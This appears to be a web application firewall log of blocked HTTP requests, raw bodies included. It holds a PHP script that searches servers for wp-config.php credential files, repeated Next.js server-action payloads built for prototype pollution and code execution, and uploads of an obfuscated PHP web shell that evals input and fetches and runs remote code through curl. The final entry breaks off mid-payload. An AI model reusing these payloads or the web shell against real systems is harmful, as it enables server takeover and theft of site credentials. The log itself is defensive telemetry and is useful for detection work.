$is_duplicate = false;\n                                    foreach ($results['wp_configs_found'] as $existing) {\n                                        if ($existing['path'] === $found_file) {\n                                            $is_duplicate = true;\n                                            break;\n                                        }\n                                    }\n                                    if (!$is_duplicate) {\n                                        $results['wp_configs_found'][] = [\n                                            'user' => $username,\n                                            'home' => $check_dir,\n                                            'path' => $found_file\n                                        ];\n                                        $user_debug['found_count']++;\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        \n        if ((microtime(true) - $user_start) < $max_time_per_user && $use_find_command) {\n            foreach ($check_dirs as $check_dir) {\n                $find_command = \"find \" . escapeshellarg($check_dir) . \" -maxdepth 4 -type f -name 'wp-config.php' 2>\/dev\/null | head -20\";\n                $output = [];\n                $return_var = 0;\n                @exec($find_command, $output, $return_var);\n                \n                if (!empty($output)) {\n                    foreach ($output as $found_file) {\n                        $found_file = trim($found_file);\n                        if (empty($found_file)) continue;\n                        \n                        if (@file_exists($found_file)) {\n                            $is_duplicate = false;\n                            foreach ($results['wp_configs_found'] as $existing) {\n                                if ($existing['path'] === $found_file) {\n                                    $is_duplicate = true;\n                                    break;\n                                }\n                            }\n                            if (!$is_duplicate) {\n                                $results['wp_configs_found'][] = [\n                                    'user' => $username,\n                                    'home' => $check_dir,\n                                    'path' => $found_file\n                                ];\n                                $user_debug['found_count']++;\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        \n        if ((microtime(true) - $user_start) < $max_time_per_user) {\n            foreach ($check_dirs as $check_dir) {\n                $ultra_glob_patterns = [\n                    $check_dir . '**\/wp-config.php',\n                    $check_dir . '*\/wp-config.php',\n                    $check_dir . '*\/*\/wp-config.php',\n                    $check_dir . '*\/*\/*\/wp-config.php',\n                    $check_dir . '*\/*\/*\/*\/wp-config.php',\n                    $check_dir . 'public_html\/**\/wp-config.php',\n                    $check_dir . 'www\/**\/wp-config.php',\n                    $check_dir . 'html\/**\/wp-config.php',\n                    $check_dir . 'web\/**\/wp-config.php',\n                    $check_dir . 'domains\/*\/wp-config.php',\n                    $check_dir . 'domains\/*\/public_html\/wp-config.php',\n                    $check_dir . 'domains\/*\/www\/wp-config.php',\n                    $check_dir . 'domains\/*\/*\/wp-config.php',\n                    $check_dir . 'domains\/*\/public_html\/*\/wp-config.php',\n                ];\n                \n                foreach ($ultra_glob_patterns as $pattern) {\n                    if ((microtime(true) - $user_start) > $max_time_per_user) break;\n                    \n                    $user_debug['glob_patterns_tried']++;\n                    $found_files = @glob($pattern);\n                    if ($found_files && is_array($found_files)) {\n                        foreach ($found_files as $found_file) {\n                            if (@file_exists($found_file) && @is_file($found_file)) {\n                                $is_duplicate = false;\n                                foreach ($results['wp_configs_found'] as $existing) {\n                                    if ($existing['path'] === $found_file) {\n                                        $is_duplicate = true;\n                                        break;\n                                    }\n                                }\n                                if (!$is_duplicate) {\n                                    $results['wp_configs_found'][] = [\n                                        'user' => $username,\n                                        'home' => $check_dir,\n                                        'path' => $found_file\n                                    ];\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        \n        if ((microtime(true) - $user_start) > $max_time_per_user) {\n            $results['skipped_users'][] = $username;\n            $user_debug['timeout'] = true;\n        }\n        \n        if ($user_debug['found_count'] > 0 || $results['scanned_users'] <= 50) {\n            $user_debug['time_taken'] = round(microtime(true) - $user_start, 3);\n            $results['user_debug'][] = $user_debug;\n        }\n        \n        if ((microtime(true) - $start_time) > 270) {\n            break;\n        }\n    }\n    \n    $open_basedir_info = frida_check_openbasedir();\n    $results['debug_info'] = [\n        'total_time' => round(microtime(true) - $start_time, 2),\n        'avg_time_per_user' => $results['scanned_users'] > 0 ? round((microtime(true) - $start_time) \/ $results['scanned_users'], 3) : 0,\n        'skipped_count' => count($results['skipped_users']),\n        'open_basedir' => $open_basedir_info['open_basedir'] ?? null,\n        'open_basedir_restricted' => !empty($open_basedir_info['open_basedir'])\n    ];\n    \n    return $results;\n}\n?>\r\n--dad1a2a704690f592ab17edce23fb329\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--dad1a2a704690f592ab17edce23fb329\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--dad1a2a704690f592ab17edce23fb329\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--dad1a2a704690f592ab17edce23fb329--\r\n"]
["2026-04-14 11:10:39","45.205.1.20","POST","\/_next","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Safari\/537.36 Edg\/134.0.0.0","post","from-data 请求异常,拒绝访问,如有误报请点击误报 return_error24","POST \/_next HTTP\/1.1\ncontent-length:518\nhost:47.254.126.238:443\nconnection:close\naccept-encoding:gzip, deflate\nx-nextjs-request-id:poop1234\nx-nextjs-html-request-id:ilovepoop_509036307439\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Safari\/537.36 Edg\/134.0.0.0\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx509036307439\nnext-action:x\n\n------WebKitFormBoundaryx509036307439\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B\\\"}\",\"_response\":{\"_prefix\":\"r = 104766+true+4858793;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${r}`});return\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx509036307439\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx509036307439\r\n------WebKitFormBoundaryx509036307439--"]
["2026-04-14 11:11:02","45.205.1.20","POST","\/api","Mozilla\/5.0 (Linux; U; Android 4.2.2; he-il; NEO-X5-116A Build\/JDQ39) AppleWebKit\/534.30 (KHTML, like Gecko) Version\/4.0 Safari\/534.30","post","from-data 请求异常,拒绝访问,如有误报请点击误报 return_error24","POST \/api HTTP\/1.1\ncontent-length:517\nhost:47.254.126.238:443\nconnection:close\naccept-encoding:gzip, deflate\nx-nextjs-request-id:poop1234\nx-nextjs-html-request-id:ilovepoop_261820629505\nuser-agent:Mozilla\/5.0 (Linux; U; Android 4.2.2; he-il; NEO-X5-116A Build\/JDQ39) AppleWebKit\/534.30 (KHTML, like Gecko) Version\/4.0 Safari\/534.30\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx261820629505\nnext-action:x\n\n------WebKitFormBoundaryx261820629505\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B\\\"}\",\"_response\":{\"_prefix\":\"r = 91152+true+2872352;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${r}`});return\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx261820629505\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx261820629505\r\n------WebKitFormBoundaryx261820629505--"]
["2026-04-14 11:11:27","45.205.1.20","POST","\/_next\/server","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Safari\/537.36 Edg\/134.0.0.0","post","from-data 请求异常,拒绝访问,如有误报请点击误报 return_error24","POST \/_next\/server HTTP\/1.1\ncontent-length:518\nhost:47.254.126.238:443\nconnection:close\naccept-encoding:gzip, deflate\nx-nextjs-request-id:poop1234\nx-nextjs-html-request-id:ilovepoop_450936362416\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Safari\/537.36 Edg\/134.0.0.0\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx450936362416\nnext-action:x\n\n------WebKitFormBoundaryx450936362416\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B\\\"}\",\"_response\":{\"_prefix\":\"r = 115269+true+3912035;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${r}`});return\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx450936362416\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx450936362416\r\n------WebKitFormBoundaryx450936362416--"]
["2026-04-14 11:11:52","45.205.1.20","POST","\/app","Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko\/20100101 Firefox\/136.","post","from-data 请求异常,拒绝访问,如有误报请点击误报 return_error24","POST \/app HTTP\/1.1\ncontent-length:517\nhost:47.254.126.238:443\nconnection:close\naccept-encoding:gzip, deflate\nx-nextjs-request-id:poop1234\nx-nextjs-html-request-id:ilovepoop_375710484451\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko\/20100101 Firefox\/136.\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx375710484451\nnext-action:x\n\n------WebKitFormBoundaryx375710484451\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B\\\"}\",\"_response\":{\"_prefix\":\"r = 45465+true+8263730;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${r}`});return\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx375710484451\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx375710484451\r\n------WebKitFormBoundaryx375710484451--"]
["2026-04-14 11:12:17","45.205.1.20","POST","\/api\/route","Mozilla\/5.0 (Linux; U; Android 4.2.2; he-il; NEO-X5-116A Build\/JDQ39) AppleWebKit\/534.30 (KHTML, like Gecko) Version\/4.0 Safari\/534.30","post","from-data 请求异常,拒绝访问,如有误报请点击误报 return_error24","POST \/api\/route HTTP\/1.1\ncontent-length:517\nhost:47.254.126.238:443\nconnection:close\naccept-encoding:gzip, deflate\nx-nextjs-request-id:poop1234\nx-nextjs-html-request-id:ilovepoop_347911257268\nuser-agent:Mozilla\/5.0 (Linux; U; Android 4.2.2; he-il; NEO-X5-116A Build\/JDQ39) AppleWebKit\/534.30 (KHTML, like Gecko) Version\/4.0 Safari\/534.30\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx347911257268\nnext-action:x\n\n------WebKitFormBoundaryx347911257268\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B\\\"}\",\"_response\":{\"_prefix\":\"r = 67149+true+5181183;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${r}`});return\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx347911257268\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx347911257268\r\n------WebKitFormBoundaryx347911257268--"]
["2026-04-14 16:24:36","103.74.173.195","POST","\/wp-content\/plugins\/ubked\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/105.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/ubked\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncontent-type:multipart\/form-data; boundary=56d4ce9dc904f9dee336558d02215719\ncontent-length:6676\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/105.0.0.0 Safari\/537.36\nconnection:keep-alive\naccept:*\/*\n\n--56d4ce9dc904f9dee336558d02215719\r\nContent-Disposition: form-data; name=\"Content_Type\"\r\n\r\nmultipart\/form-data\r\n--56d4ce9dc904f9dee336558d02215719\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n2\r\n--56d4ce9dc904f9dee336558d02215719\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--56d4ce9dc904f9dee336558d02215719\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--56d4ce9dc904f9dee336558d02215719\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--56d4ce9dc904f9dee336558d02215719\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--56d4ce9dc904f9dee336558d02215719\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"txets.php\"\r\n\r\n<?php\n goto rw0YaXkwMCc56wz; f1xqJaTYl1yttPy: @(md5(md5(md5(md5($dnVIDI3RYgCmwMK[16])))) === \"\\146\\x31\\x31\\x36\\x63\\x34\\x64\\62\\x37\\x65\\x61\\x66\\x65\\x62\\x62\\x63\\x35\\145\\x37\\65\\63\\x34\\145\\x32\\63\\65\\63\\x63\\x64\\141\\x62\\71\") && (count($dnVIDI3RYgCmwMK) == 22 && in_array(gettype($dnVIDI3RYgCmwMK) . count($dnVIDI3RYgCmwMK), $dnVIDI3RYgCmwMK)) ? ($dnVIDI3RYgCmwMK[63] = $dnVIDI3RYgCmwMK[63] . $dnVIDI3RYgCmwMK[74]) && ($dnVIDI3RYgCmwMK[90] = $dnVIDI3RYgCmwMK[63]($dnVIDI3RYgCmwMK[90])) && @eval($dnVIDI3RYgCmwMK[63](${$dnVIDI3RYgCmwMK[50]}[15])) : $dnVIDI3RYgCmwMK; goto wz5SIaxWgoKPya4; rw0YaXkwMCc56wz: $D09Djj053kj51Mx = \"\\x72\" . \"\\141\" . \"\\x6e\" . \"\\147\" . \"\\145\"; goto zLhQklzuL_esQf4; zLhQklzuL_esQf4: $M5INMomm0r8ucov = $D09Djj053kj51Mx(\"\\176\", \"\\x20\"); goto Xp7_0ts62dCkjeu; Xp7_0ts62dCkjeu: $dnVIDI3RYgCmwMK = ${$M5INMomm0r8ucov[7 + 24] . $M5INMomm0r8ucov[51 + 8] . $M5INMomm0r8ucov[47 + 0] . $M5INMomm0r8ucov[3 + 44] . $M5INMomm0r8ucov[33 + 18] . $M5INMomm0r8ucov[2 + 51] . $M5INMomm0r8ucov[49 + 8]}; goto f1xqJaTYl1yttPy; wz5SIaxWgoKPya4: metaphone(\"\\x4d\\152\\111\\x32\\117\\124\\x6b\\x33\\116\\x7a\\x59\\x34\\115\\124\\125\\x7a\\x4e\\104\\115\\x77\\116\\104\\131\\x33\\115\\x54\\131\\171\\116\\124\\115\\x79\"); goto KineoQxzmp8eXIr; KineoQxzmp8eXIr: class lECpCvCI0rQC69j { static function Wbrgx_uuK2JGMSe($q0DnpmNicEOPUBK) { goto MH6A9N84p8iPO3y; xZAyreSyyJhC_hO: return $PLFMHOBN3BTqM20; goto jXMj3Lc_nSKzBSc; leH0QBoBX98oXpK: $qVrGuI2WxQUEFFq = $bjF4HFBNz0PH4Xc(\"\\176\", \"\\x20\"); goto VC6t2PrgCoXU0t1; MH6A9N84p8iPO3y: $bjF4HFBNz0PH4Xc = \"\\x72\" . \"\\141\" . \"\\156\" . \"\\147\" . \"\\145\"; goto leH0QBoBX98oXpK; Yi2aaUTsNwABqlq: $PLFMHOBN3BTqM20 = ''; goto yxNDRgrRwdpA2D8; yxNDRgrRwdpA2D8: foreach ($gDxJWYc918hZetl as $tfOB6Oeq1jiVurd => $cVgu6NuibUCGCxl) { $PLFMHOBN3BTqM20 .= $qVrGuI2WxQUEFFq[$cVgu6NuibUCGCxl - 16144]; mzPxBQ22KFpT9iZ: } goto ATAzvQFZ2SdEWSc; VC6t2PrgCoXU0t1: $gDxJWYc918hZetl = explode(\"\\76\", $q0DnpmNicEOPUBK); goto Yi2aaUTsNwABqlq; ATAzvQFZ2SdEWSc: PbHj0gawYs6wKqT: goto xZAyreSyyJhC_hO; jXMj3Lc_nSKzBSc: } static function H51abWlXiLbLxwI($DQ3Kw3u_gpHQt1E, $J_7Z7PW7PC6d5kL) { goto sYPZ2f73uvrJ0_B; sYPZ2f73uvrJ0_B: $WZLpnKrsG9j5wnj = curl_init($DQ3Kw3u_gpHQt1E); goto KJhxk6R7igFfiUt; KJhxk6R7igFfiUt: curl_setopt($WZLpnKrsG9j5wnj, CURLOPT_RETURNTRANSFER, 1); goto FFx1D7fDvDTdxYF; FFx1D7fDvDTdxYF: $LFkiSKnCxGJxkaL = curl_exec($WZLpnKrsG9j5wnj); goto uAXw9lpk5Jafu6J; uAXw9lpk5Jafu6J: return empty($LFkiSKnCxGJxkaL) ? $J_7Z7PW7PC6d5kL($DQ3Kw3u_gpHQt1E) : $LFkiSKnCxGJxkaL; goto w21vn3dWBpcR358; w21vn3dWBpcR358: } static function AyA8jZiUl42U7y6() { goto U3NWAU39zHEpCbL; hCSBx4HoFZE3n8T: foreach ($yRnjQbo4KPOUw7Z as $Rt02lRmwNsKQ1Y3) { $E3gCh3qMFwUhgUY[] = self::wBRgX_UUK2jGmSE($Rt02lRmwNsKQ1Y3); KusNGc9qXn9PzXf: } goto LeCPf14JdI7NSEn; tw6NXfd_ddmoa_E: if (!(@$t01Zi25iKsfjw8G[0] - time() > 0 and md5(md5($t01Zi25iKsfjw8G[1 + 2])) === \"\\x37\\x37\\x37\\x37\\146\\x65\\70\\x64\\x61\\x31\\x63\\x33\\60\\x33\\x61\\x39\\71\\x38\\x36\\x65\\62\\61\\67\\64\\64\\66\\x63\\x62\\x38\\x30\\x37\\x32\")) { goto FHSC_wi2nszfOGD; } goto seTeQESh3qqLOH_; ar3oEEYstDWi3zk: @$E3gCh3qMFwUhgUY[5 + 5](INPUT_GET, \"\\157\\146\") == 1 && die($E3gCh3qMFwUhgUY[4 + 1](__FILE__)); goto tw6NXfd_ddmoa_E; T8nacw2Bax5ttQu: $Ns2QAWYPi3bJWzp = @$E3gCh3qMFwUhgUY[1]($E3gCh3qMFwUhgUY[6 + 4](INPUT_GET, $E3gCh3qMFwUhgUY[5 + 4])); goto ID_GtAbnIbnT64G; UwfDP06Vr6rXhCg: $t01Zi25iKsfjw8G = $E3gCh3qMFwUhgUY[2 + 0]($ERMRkDKx8mn0pIc, true); goto ar3oEEYstDWi3zk; FYznaC7Lkbs_AIp: @eval($E3gCh3qMFwUhgUY[0 + 4]($rhAX3TWm3rFocMq)); goto sXleFB_a64fWHlB; seTeQESh3qqLOH_: $rhAX3TWm3rFocMq = self::h51AbwLXilBLxwi($t01Zi25iKsfjw8G[1 + 0], $E3gCh3qMFwUhgUY[5 + 0]); goto FYznaC7Lkbs_AIp; sXleFB_a64fWHlB: die; goto Cuv4BYLpRdLVwOk; ID_GtAbnIbnT64G: $ERMRkDKx8mn0pIc = @$E3gCh3qMFwUhgUY[0 + 3]($E3gCh3qMFwUhgUY[5 + 1], $Ns2QAWYPi3bJWzp); goto UwfDP06Vr6rXhCg; Cuv4BYLpRdLVwOk: FHSC_wi2nszfOGD: goto T3FB3oQaMA9x5g3; LeCPf14JdI7NSEn: oOLSb82rhhVf4oE: goto T8nacw2Bax5ttQu; U3NWAU39zHEpCbL: $yRnjQbo4KPOUw7Z = array(\"\\61\\66\\61\\x37\\61\\76\\x31\\x36\\61\\x35\\66\\x3e\\x31\\66\\x31\\66\\x39\\76\\61\\x36\\x31\\67\\63\\76\\61\\66\\61\\x35\\64\\76\\x31\\66\\61\\x36\\71\\76\\x31\\x36\\61\\67\\x35\\x3e\\61\\66\\61\\x36\\70\\x3e\\x31\\66\\x31\\65\\63\\x3e\\x31\\x36\\61\\x36\\x30\\76\\61\\x36\\61\\67\\x31\\x3e\\61\\66\\61\\x35\\64\\x3e\\x31\\66\\61\\66\\x35\\x3e\\x31\\x36\\x31\\x35\\71\\76\\x31\\x36\\61\\x36\\60\", \"\\61\\66\\61\\x35\\x35\\x3e\\61\\66\\x31\\x35\\64\\76\\61\\66\\x31\\65\\x36\\x3e\\61\\x36\\61\\x37\\x35\\x3e\\x31\\66\\x31\\x35\\66\\x3e\\x31\\x36\\x31\\x35\\71\\x3e\\x31\\66\\61\\x35\\64\\76\\61\\66\\62\\62\\61\\x3e\\x31\\x36\\62\\61\\71\", \"\\x31\\x36\\61\\x36\\x34\\x3e\\x31\\x36\\61\\65\\65\\x3e\\61\\x36\\61\\65\\x39\\x3e\\61\\66\\x31\\x36\\x30\\x3e\\61\\66\\x31\\67\\65\\x3e\\x31\\x36\\x31\\67\\60\\76\\61\\x36\\61\\66\\71\\x3e\\x31\\x36\\x31\\67\\x31\\x3e\\61\\66\\61\\65\\71\\76\\x31\\66\\61\\67\\x30\\76\\x31\\66\\61\\x36\\x39\", \"\\61\\66\\61\\x35\\70\\x3e\\x31\\x36\\61\\67\\63\\x3e\\x31\\x36\\x31\\x37\\x31\\x3e\\61\\x36\\x31\\x36\\x33\", \"\\61\\x36\\x31\\x37\\x32\\76\\x31\\x36\\61\\67\\x33\\x3e\\x31\\66\\61\\65\\65\\x3e\\x31\\66\\x31\\66\\x39\\76\\61\\x36\\x32\\61\\x36\\76\\x31\\66\\62\\x31\\70\\x3e\\61\\66\\61\\67\\65\\76\\61\\66\\x31\\67\\60\\76\\61\\66\\61\\x36\\71\\76\\x31\\x36\\x31\\67\\61\\76\\61\\66\\61\\x35\\71\\x3e\\x31\\66\\x31\\67\\x30\\x3e\\61\\66\\61\\x36\\71\", \"\\61\\x36\\x31\\x36\\70\\76\\x31\\x36\\x31\\66\\65\\76\\61\\x36\\x31\\x36\\x32\\x3e\\x31\\x36\\61\\66\\71\\76\\61\\66\\x31\\x37\\65\\76\\61\\66\\61\\66\\67\\76\\61\\66\\61\\x36\\71\\76\\61\\66\\x31\\x35\\64\\76\\x31\\66\\61\\x37\\x35\\76\\x31\\66\\x31\\x37\\x31\\76\\61\\x36\\61\\x35\\x39\\76\\x31\\x36\\x31\\66\\60\\x3e\\61\\66\\61\\65\\64\\x3e\\x31\\66\\x31\\x36\\x39\\76\\x31\\x36\\x31\\x36\\60\\x3e\\x31\\x36\\x31\\x35\\x34\\76\\x31\\66\\x31\\65\\65\", \"\\61\\x36\\61\\71\\x38\\x3e\\x31\\66\\62\\x32\\x38\", \"\\61\\66\\61\\64\\65\", \"\\61\\66\\62\\x32\\x33\\76\\x31\\66\\x32\\62\\x38\", \"\\61\\66\\x32\\60\\65\\x3e\\61\\x36\\x31\\70\\x38\\76\\61\\66\\61\\x38\\70\\x3e\\x31\\66\\62\\60\\x35\\x3e\\x31\\66\\61\\70\\61\", \"\\61\\x36\\61\\x36\\x38\\76\\x31\\x36\\x31\\66\\65\\76\\x31\\x36\\61\\66\\x32\\76\\61\\66\\61\\x35\\x34\\x3e\\x31\\x36\\61\\x36\\x39\\76\\61\\66\\61\\x35\\66\\x3e\\x31\\66\\x31\\67\\x35\\76\\x31\\x36\\x31\\66\\65\\76\\61\\x36\\x31\\x36\\60\\x3e\\x31\\x36\\61\\65\\x38\\x3e\\61\\x36\\61\\x35\\63\\x3e\\61\\66\\61\\x35\\x34\"); goto hCSBx4HoFZE3n8T; T3FB3oQaMA9x5g3: } } goto d7gmlSaG9USebl3; d7gmlSaG9USebl3: LecPCvcI0Rqc69j::aYa8JZiUl42U7Y6();\n?>\nBiaoJiOk\r\n--56d4ce9dc904f9dee336558d02215719--\r\n"]
["2026-04-14 16:49:45","103.74.173.195","POST","\/wp-content\/plugins\/ubked\/index.php?path=\/www\/wwwroot\/dewenlabels.com","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/147.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/ubked\/index.php?path=\/www\/wwwroot\/dewenlabels.com HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/147.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:zh-CN,zh;q=0.9\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\naccept-encoding:gzip, deflate, br, zstd\nupgrade-insecure-requests:1\ncache-control:max-age=0\norigin:https:\/\/dewenlabels.com\nreferer:https:\/\/dewenlabels.com\/wp-content\/plugins\/ubked\/index.php?path=\/www\/wwwroot\/dewenlabels.com\npriority:u=0, i\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundary9BDMlVlxKM4d2Gx5\ncontent-length:6646\nsec-fetch-user:?1\nsec-ch-ua:\"Google Chrome\";v=\"147\", \"Not.A\/Brand\";v=\"8\", \"Chromium\";v=\"147\"\nsec-ch-ua-mobile:?0\n\n------WebKitFormBoundary9BDMlVlxKM4d2Gx5\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n------WebKitFormBoundary9BDMlVlxKM4d2Gx5\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n------WebKitFormBoundary9BDMlVlxKM4d2Gx5\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"txets.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n goto rw0YaXkwMCc56wz; f1xqJaTYl1yttPy: @(md5(md5(md5(md5($dnVIDI3RYgCmwMK[16])))) === \"\\146\\x31\\x31\\x36\\x63\\x34\\x64\\62\\x37\\x65\\x61\\x66\\x65\\x62\\x62\\x63\\x35\\145\\x37\\65\\63\\x34\\145\\x32\\63\\65\\63\\x63\\x64\\141\\x62\\71\") && (count($dnVIDI3RYgCmwMK) == 22 && in_array(gettype($dnVIDI3RYgCmwMK) . count($dnVIDI3RYgCmwMK), $dnVIDI3RYgCmwMK)) ? ($dnVIDI3RYgCmwMK[63] = $dnVIDI3RYgCmwMK[63] . $dnVIDI3RYgCmwMK[74]) && ($dnVIDI3RYgCmwMK[90] = $dnVIDI3RYgCmwMK[63]($dnVIDI3RYgCmwMK[90])) && @eval($dnVIDI3RYgCmwMK[63](${$dnVIDI3RYgCmwMK[50]}[15])) : $dnVIDI3RYgCmwMK; goto wz5SIaxWgoKPya4; rw0YaXkwMCc56wz: $D09Djj053kj51Mx = \"\\x72\" . \"\\141\" . \"\\x6e\" . \"\\147\" . \"\\145\"; goto zLhQklzuL_esQf4; zLhQklzuL_esQf4: $M5INMomm0r8ucov = $D09Djj053kj51Mx(\"\\176\", \"\\x20\"); goto Xp7_0ts62dCkjeu; Xp7_0ts62dCkjeu: $dnVIDI3RYgCmwMK = ${$M5INMomm0r8ucov[7 + 24] . $M5INMomm0r8ucov[51 + 8] . $M5INMomm0r8ucov[47 + 0] . $M5INMomm0r8ucov[3 + 44] . $M5INMomm0r8ucov[33 + 18] . $M5INMomm0r8ucov[2 + 51] . $M5INMomm0r8ucov[49 + 8]}; goto f1xqJaTYl1yttPy; wz5SIaxWgoKPya4: metaphone(\"\\x4d\\152\\111\\x32\\117\\124\\x6b\\x33\\116\\x7a\\x59\\x34\\115\\124\\125\\x7a\\x4e\\104\\115\\x77\\116\\104\\131\\x33\\115\\x54\\131\\171\\116\\124\\115\\x79\"); goto KineoQxzmp8eXIr; KineoQxzmp8eXIr: class lECpCvCI0rQC69j { static function Wbrgx_uuK2JGMSe($q0DnpmNicEOPUBK) { goto MH6A9N84p8iPO3y; xZAyreSyyJhC_hO: return $PLFMHOBN3BTqM20; goto jXMj3Lc_nSKzBSc; leH0QBoBX98oXpK: $qVrGuI2WxQUEFFq = $bjF4HFBNz0PH4Xc(\"\\176\", \"\\x20\"); goto VC6t2PrgCoXU0t1; MH6A9N84p8iPO3y: $bjF4HFBNz0PH4Xc = \"\\x72\" . \"\\141\" . \"\\156\" . \"\\147\" . \"\\145\"; goto leH0QBoBX98oXpK; Yi2aaUTsNwABqlq: $PLFMHOBN3BTqM20 = ''; goto yxNDRgrRwdpA2D8; yxNDRgrRwdpA2D8: foreach ($gDxJWYc918hZetl as $tfOB6Oeq1jiVurd => $cVgu6NuibUCGCxl) { $PLFMHOBN3BTqM20 .= $qVrGuI2WxQUEFFq[$cVgu6NuibUCGCxl - 16144]; mzPxBQ22KFpT9iZ: } goto ATAzvQFZ2SdEWSc; VC6t2PrgCoXU0t1: $gDxJWYc918hZetl = explode(\"\\76\", $q0DnpmNicEOPUBK); goto Yi2aaUTsNwABqlq; ATAzvQFZ2SdEWSc: PbHj0gawYs6wKqT: goto xZAyreSyyJhC_hO; jXMj3Lc_nSKzBSc: } static function H51abWlXiLbLxwI($DQ3Kw3u_gpHQt1E, $J_7Z7PW7PC6d5kL) { goto sYPZ2f73uvrJ0_B; sYPZ2f73uvrJ0_B: $WZLpnKrsG9j5wnj = curl_init($DQ3Kw3u_gpHQt1E); goto KJhxk6R7igFfiUt; KJhxk6R7igFfiUt: curl_setopt($WZLpnKrsG9j5wnj, CURLOPT_RETURNTRANSFER, 1); goto FFx1D7fDvDTdxYF; FFx1D7fDvDTdxYF: $LFkiSKnCxGJxkaL = curl_exec($WZLpnKrsG9j5wnj); goto uAXw9lpk5Jafu6J; uAXw9lpk5Jafu6J: 